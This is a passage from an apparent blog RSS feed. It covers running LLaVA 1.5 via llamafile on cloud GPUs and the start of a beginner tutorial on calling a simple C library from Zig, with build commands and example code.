&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And then I spun up my server:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>./llava-v1.5-7b-q4-server.llamafile --nobrowser
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Everything worked, and the server logs showed it was using the VM&amp;rsquo;s GPU. I tried uploading an image and asking a question, and the server crashed with this error:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>CUDA error 2 at /home/mike/.llamafile/ggml-cuda.cu:6006: out of memory
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I tried again using Scaleway&amp;rsquo;s beefier RENDER-S instance, which has double the GPU VRAM, but I got the same crash.&lt;/p>
&lt;p>One &lt;a href="https://github.com/ggerganov/llama.cpp/issues/1230#issuecomment-1575097730">llama.cpp GitHub issue&lt;/a> seemed similar and said the workaround was to disable &amp;ldquo;pinning&amp;rdquo; so I tried that:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">export&lt;/span> &lt;span style="color:#40ffff">GGML_CUDA_NO_PINNED&lt;/span>=&lt;span style="color:#3677a9">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./llava-v1.5-7b-q4-server.llamafile --nobrowser
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Still crashed.&lt;/p>
&lt;p>I read &lt;a href="https://stackoverflow.com/q/71498324/90388">a StackOverflow thread&lt;/a> that CUDA can run out of RAM for too large a batch size, so I tried re-running like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>./llava-v1.5-7b-q4-server.llamafile --nobrowser --batch-size &lt;span style="color:#3677a9">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But I got the same result.&lt;/p>
&lt;h2 id="successfully-using-cuda-for-gpu-based-llava-15">Successfully using CUDA for GPU-based LLaVA 1.5&lt;/h2>
&lt;p>&lt;strong>Update (2023-12-04)&lt;/strong>: I finally got this working.&lt;/p>
&lt;p>I had to file a support ticket for access to a higher GPU from Scaleway. When I tried with Scaleway&amp;rsquo;s &lt;code>H100-1-80G&lt;/code> instance with 240 GB of RAM and 80 GB of VRAM, everything worked, and the performance was 10.6x faster when I ran it on the CPU.&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 602px">



 &lt;a href="https://mtlynch.io/notes/llamafile-lava1.5/q1-gpu.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 602px, 98vw"
 srcset='https://mtlynch.io/notes/llamafile-lava1.5/q1-gpu_hu_6bac03f134637b30.png 300w, https://mtlynch.io/notes/llamafile-lava1.5/q1-gpu_hu_28d068609b76e35c.png 600w, https://mtlynch.io/notes/llamafile-lava1.5/q1-gpu.png 600w'
 src="https://mtlynch.io/notes/llamafile-lava1.5/q1-gpu.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Running LLaVA on a GPU was 10.6x faster than using the CPU&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;p>It doesn&amp;rsquo;t seem like LLaMA 1.5 with the default settings works with my problem of parsing information from show posters.&lt;/p>
&lt;p>I&amp;rsquo;ve only experimented with it for a few hours, so maybe there are some settings that would make this work.&lt;/p>
&lt;p>I&amp;rsquo;m hopeful that open-source AI models will continue improving and becoming more accessible over the next year.&lt;/p></content:encoded></item><item><title>A Simple Example of Calling a C Library from Zig</title><link>https://mtlynch.io/notes/zig-call-c-simple/</link><pubDate>Sun, 19 Nov 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/zig-call-c-simple/</guid><description>&lt;p>&lt;a href="https://ziglang.org/">Zig&lt;/a> is a new, independently developed low-level programming language. It&amp;rsquo;s a modern reimagining of C that attempts to retain all of C&amp;rsquo;s performance benefits while also taking advantage of improvements in tooling and language design from the last 30 years.&lt;/p>
&lt;p>Because Zig is designed to replace C, one of the first-class features is that you can call into C libraries from a Zig application. I couldn&amp;rsquo;t find any simple examples demonstrating Zig&amp;rsquo;s C interop functionality, so I decided to write my own.&lt;/p></description><content:encoded>&lt;p>&lt;a href="https://ziglang.org/">Zig&lt;/a> is a new, independently developed low-level programming language. It&amp;rsquo;s a modern reimagining of C that attempts to retain all of C&amp;rsquo;s performance benefits while also taking advantage of improvements in tooling and language design from the last 30 years.&lt;/p>
&lt;p>Because Zig is designed to replace C, one of the first-class features is that you can call into C libraries from a Zig application. I couldn&amp;rsquo;t find any simple examples demonstrating Zig&amp;rsquo;s C interop functionality, so I decided to write my own.&lt;/p>
&lt;h2 id="existing-resources-about-calling-c-from-zig">Existing resources about calling C from Zig&lt;/h2>
&lt;p>I found a few articles that described how to call C code from Zig. They all had useful information, but they were either too abstract or described scenarios that were more complex than what I was trying to accomplish:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://web.archive.org/web/20251208191603/https://zig.news/kristoff/compile-a-c-c-project-with-zig-368j">&amp;ldquo;C/C++/Zig&amp;rdquo;&lt;/a> by Loris Cro
&lt;ul>
&lt;li>This is a great tutorial, but it&amp;rsquo;s complex. It&amp;rsquo;s not just calling into a C library — it&amp;rsquo;s figuring out how to build a huge C application with Zig and then writing a new function that both calls the original C code and receives calls from the C code.&lt;/li>
&lt;li>I learned a lot from the tutorial, but I had a hard time figuring out from this series how to call C from Zig in a simpler scenario.&lt;/li>
&lt;li>This tutorial was also written for Zig 0.8.1, and the code no longer compiles with Zig 0.14.0.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://nivethan.dev/devlog/extending-a-c-project-with-zig.html">&amp;ldquo;Extending a C Project with Zig&amp;rdquo; (2023)&lt;/a>
&lt;ul>
&lt;li>This is a recent article, so it still compiles with the current version of Zig.&lt;/li>
&lt;li>Similar to the above tutorial, this article tackles how to compile a large, complex C application, so I had a hard time understanding how to apply the lessons to a simpler scenario.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://ziglearn.org/chapter-4/">ziglearn Chapter 4 - Working with C&lt;/a>
&lt;ul>
&lt;li>This article describes low-level mechanisms for Zig-C interop, but doesn&amp;rsquo;t show any complete examples.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>One of the major limitations of the two &amp;ldquo;extend a C project&amp;rdquo; tutorials above is that they assume you know how to port complex Makefiles into the Zig build system. Both of them say, &amp;ldquo;Hey, look at this confusing 100-line &lt;code>Makefile&lt;/code>. Voila, now it&amp;rsquo;s a confusing 100-line &lt;code>build.zig&lt;/code> file!&amp;rdquo; and they don&amp;rsquo;t really explain how (unless you watch this &lt;a href="https://vimeo.com/524007646">90-minute video&lt;/a>).&lt;/p>
&lt;p>As a complete Zig novice, I didn&amp;rsquo;t want to learn how to convert large Makefiles to the Zig build system. Instead, I wanted to try a simple example where I only used Zig to build a portion of a C application rather than porting the entire application to Zig&amp;rsquo;s native build system.&lt;/p>
&lt;h2 id="create-a-simple-c-application">Create a simple C application&lt;/h2>
&lt;p>The thing that tripped me up in other Zig + C examples was that the C code was so complicated that it obscured the basic mechanics of calling into C code from Zig.&lt;/p>
&lt;p>To make Zig&amp;rsquo;s C interop functionality simpler, I decided to create a simple C application and library.&lt;/p>
&lt;p>Here&amp;rsquo;s my first C header file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// arithmetic.h
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">add&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> x, &lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> y);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And here&amp;rsquo;s the implementation:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// arithmetic.c
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#include&lt;/span> &lt;span style="color:#cd2828;font-weight:bold">&amp;#34;arithmetic.h&amp;#34;&lt;/span>&lt;span style="color:#cd2828;font-weight:bold">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">add&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> x, &lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> y) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> x + y;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I&amp;rsquo;m not doing anything fancy. The goal is to keep things as simple as possible.&lt;/p>
&lt;p>Finally, I&amp;rsquo;ll create a test application to exercise the &lt;code>add&lt;/code> function:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// main.c
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#include&lt;/span> &lt;span style="color:#cd2828;font-weight:bold">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span style="color:#cd2828;font-weight:bold">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#include&lt;/span> &lt;span style="color:#cd2828;font-weight:bold">&amp;#34;arithmetic.h&amp;#34;&lt;/span>&lt;span style="color:#cd2828;font-weight:bold">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">main&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> x = &lt;span style="color:#3677a9">5&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> y = &lt;span style="color:#3677a9">16&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> z = &lt;span style="color:#447fcf">add&lt;/span>(x, y);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;%d + %d = %d&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>, x, y, z);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay, if everything works correctly, I should be able to compile this application with &lt;code>gcc&lt;/code>, a standard C compiler:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gcc arithmetic.c main.c -o ./bin/example
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./bin/example
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">5&lt;/span> + &lt;span style="color:#40ffff">16&lt;/span> = &lt;span style="color:#3677a9">21&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Great, everything works!&lt;/p>
&lt;p>The complete example at this stage &lt;a href="https://github.com/mtlynch/zig-c-simple/tree/10-pure-c">is on GitHub&lt;/a>.&lt;/p>
&lt;h2 id="switching-the-compiler-to-zig">Switching the compiler to Zig&lt;/h2>
&lt;p>So far, this is a pure C project, and I haven&amp;rsquo;t used Zig at all.&lt;/p>
&lt;p>Now, I&amp;rsquo;ll install Zig. There are a few ways to install Zig, but I&amp;rsquo;m using &lt;a href="https://nixos.org/">Nix&lt;/a>, as it&amp;rsquo;s &lt;a href="https://mtlynch.io/tags/nix/">my new favorite package manager&lt;/a>. I only use Nix for the installation, so feel free to install Zig 0.14.0 another way if you&amp;rsquo;re not yet &lt;a href="https://zero-to-nix.com/">in the cult of Nix&lt;/a>.&lt;/p>
&lt;p>I added the following &lt;code>flake.nix&lt;/code> file to my project, which pulls Zig 0.14.0 into my environment:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;Dev environment for zig-c-simple&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.url = &lt;span style="color:#ed9d13">&amp;#34;github:numtide/flake-utils&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># 0.14.0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zig-nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/f6db44a8daa59c40ae41ba6e5823ec77fe0d2124&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputs = { self, flake-utils, zig-nixpkgs }@inputs :
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.lib.eachDefaultSystem (system:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zig-nixpkgs = inputs.zig-nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> devShells.default = zig-nixpkgs.mkShell {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zig-nixpkgs.zig
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellHook = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> echo &amp;#34;zig&amp;#34; &amp;#34;$(zig version)&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From here, I can run &lt;code>nix develop&lt;/code>, and I see that Nix 0.14.0 is available in my project environment:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ nix develop
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zig 0.14.0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Zig has a built-in C compiler that can act as a drop-in replacement for &lt;code>gcc&lt;/code>. I&amp;rsquo;ll retry the previous compilation, but instead of calling &lt;code>gcc&lt;/code>, I call &lt;code>zig cc&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig cc arithmetic.c main.c -o ./bin/example
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./bin/example
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">5&lt;/span> + &lt;span style="color:#40ffff">16&lt;/span> = &lt;span style="color:#3677a9">21&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cool, everything is still working, and now I&amp;rsquo;m using Zig for compilation. I&amp;rsquo;m not using any Zig code yet, so that&amp;rsquo;s next.&lt;/p>
&lt;p>The complete example at this stage &lt;a href="https://github.com/mtlynch/zig-c-simple/tree/20-zig-compile">is on GitHub&lt;/a>.&lt;/p>
&lt;h2 id="creating-an-equivalent-zig-app">Creating an equivalent Zig app&lt;/h2>
&lt;p>To create my Zig application, I&amp;rsquo;ll use &lt;code>zig init-exe&lt;/code>, which creates a boilerplate Zig executable:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig init-exe
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>info: Created build.zig
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>info: Created src/main.zig
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I replace &lt;code>src/main.zig&lt;/code> with the following contents, which creates a Zig application that&amp;rsquo;s equivalent to &lt;a href="#create-a-simple-c-application">my &lt;code>main.c&lt;/code> above&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// src/main.zig
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>std&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@import&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;std&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">add&lt;/span>(x:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">i32&lt;/span>,&lt;span style="color:#666"> &lt;/span>y:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">i32&lt;/span>)&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">i32&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// TODO: Instead of reimplementing this in Zig, call the C version.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>x&lt;span style="color:#666"> &lt;/span>+&lt;span style="color:#666"> &lt;/span>y;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">main&lt;/span>()&lt;span style="color:#666"> &lt;/span>!&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>x:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">i32&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">5&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>y:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">i32&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">16&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>z:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">i32&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">add&lt;/span>(x,&lt;span style="color:#666"> &lt;/span>y);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>stdout_file&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>std.io.&lt;span style="color:#447fcf">getStdOut&lt;/span>().&lt;span style="color:#447fcf">writer&lt;/span>();&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>bw&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>std.io.&lt;span style="color:#447fcf">bufferedWriter&lt;/span>(stdout_file);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>stdout&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>bw.&lt;span style="color:#447fcf">writer&lt;/span>();&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>stdout.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;{d} + {d} = {d}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>x,&lt;span style="color:#666"> &lt;/span>y,&lt;span style="color:#666"> &lt;/span>z&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>bw.&lt;span style="color:#447fcf">flush&lt;/span>();&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">test&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;test add&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>std.testing.&lt;span style="color:#447fcf">expectEqual&lt;/span>(&lt;span style="color:#24909d">@as&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">i32&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">21&lt;/span>),&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">add&lt;/span>(&lt;span style="color:#3677a9">5&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">16&lt;/span>));&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And if I run it, I get the same output as the C version:&lt;/p>
